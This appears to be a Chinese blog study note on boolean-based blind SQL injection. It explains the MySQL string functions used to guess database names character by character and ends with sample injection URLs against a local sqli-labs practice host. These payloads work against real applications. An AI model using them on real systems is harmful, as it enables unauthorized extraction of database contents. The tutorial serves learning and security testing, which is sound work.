vlambda博客
学习文章列表

sql注入学习(二)基于布尔 SQL 盲注


喜欢就关注我吧,订阅更多最新消息

sql注入学习(二)基于布尔 SQL 盲注
基于布尔 SQL 盲注
sql注入学习(二)基于布尔 SQL 盲注


很多人并没有耐心和足够的时间学习,而是想一步登天!

--- 记录mk一段学习过程


sql注入学习(二)基于布尔 SQL 盲注
注入思路
sql注入学习(二)基于布尔 SQL 盲注


*判断是否存在注入,注入是字符型还是数字型

*猜解当前数据库名

*猜解数据库表名

*猜解字段名

*猜解数据

sql注入学习(二)基于布尔 SQL 盲注
何为盲注?
sql注入学习(二)基于布尔 SQL 盲注


盲注就是在sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。


sql注入学习(二)基于布尔 SQL 盲注
盲注分为三类
sql注入学习(二)基于布尔 SQL 盲注


•基于布尔 SQL 盲注

•基于时间的 SQL 盲注

•基于报错的 SQL 盲注


sql注入学习(二)基于布尔 SQL 盲注
Sql注入截取字符串常用函数
sql注入学习(二)基于布尔 SQL 盲注

三大法宝:mid(),substr(),left()


sql注入学习(二)基于布尔 SQL 盲注
mid()函数
sql注入学习(二)基于布尔 SQL 盲注

此函数为截取字符串一部分。MID(column_name,start[,length])

mid(str,2,1) 从str 的第二位起,截取一个字符


Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,  MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此处column_name参数可以为sql语句,可自行构造sql语句进行注入。


sql注入学习(二)基于布尔 SQL 盲注
substr()函数
sql注入学习(二)基于布尔 SQL 盲注

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

Sql用例:

(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位, substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此处string参数可以为sql语句,可自行构造sql语句进行注入。


sql注入学习(二)基于布尔 SQL 盲注
Left()函数
sql注入学习(二)基于布尔 SQL 盲注


Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

Sql用例:

(1) left(database(),1)>’a’,查看数据库名第一位, left(database(),2)>’ab’,查看数据库名前二位。(2) 同样的string可以为自行构造的sql语句。


sql注入学习(二)基于布尔 SQL 盲注
ORD()函数 或者ascii()
sql注入学习(二)基于布尔 SQL 盲注

此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。

例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’


sql注入学习(二)基于布尔 SQL 盲注
regexp 正则注入
sql注入学习(二)基于布尔 SQL 盲注

正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html


用法介绍:select user() regexp '^[a-z]';

Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。

第二位可以用 select user() regexp '^ro'来进行。

sql注入学习(二)基于布尔 SQL 盲注
▲like 匹配注入
sql注入学习(二)基于布尔 SQL 盲注

和上述的正则类似,mysql 在匹配的时候我们可以用 ike 进行匹配。

用法:select user() like ‘ro%’

sql注入学习(二)基于布尔 SQL 盲注



sql注入学习(二)基于布尔 SQL 盲注
常用语句套装3-bool盲注
sql注入学习(二)基于布尔 SQL 盲注

//获取数据库名称长度

http://192.168.153.139/Less-5/?id=-1' or length(database())=8--+

//确定是否是哪个字符

http://192.168.153.139/Less-5/?id=1'and mid(database(),1,1)>'r' --+http://192.168.153.139/Less-5/?id=1'and substr(database(),1,1)>'s' --+http://192.168.153.139/Less-5/?id=1'and left(database(),2)>'sc' --+

//使用 ascii来猜测 字符

http://192.168.153.139/Less-5/?id=1' and ord(mid(database(),1,1))>101 --+http://192.168.153.139/Less-5/?id=1' and ascii(mid(database(),1,1))>101 --+



扫码关注我们
每天不一定有最新消息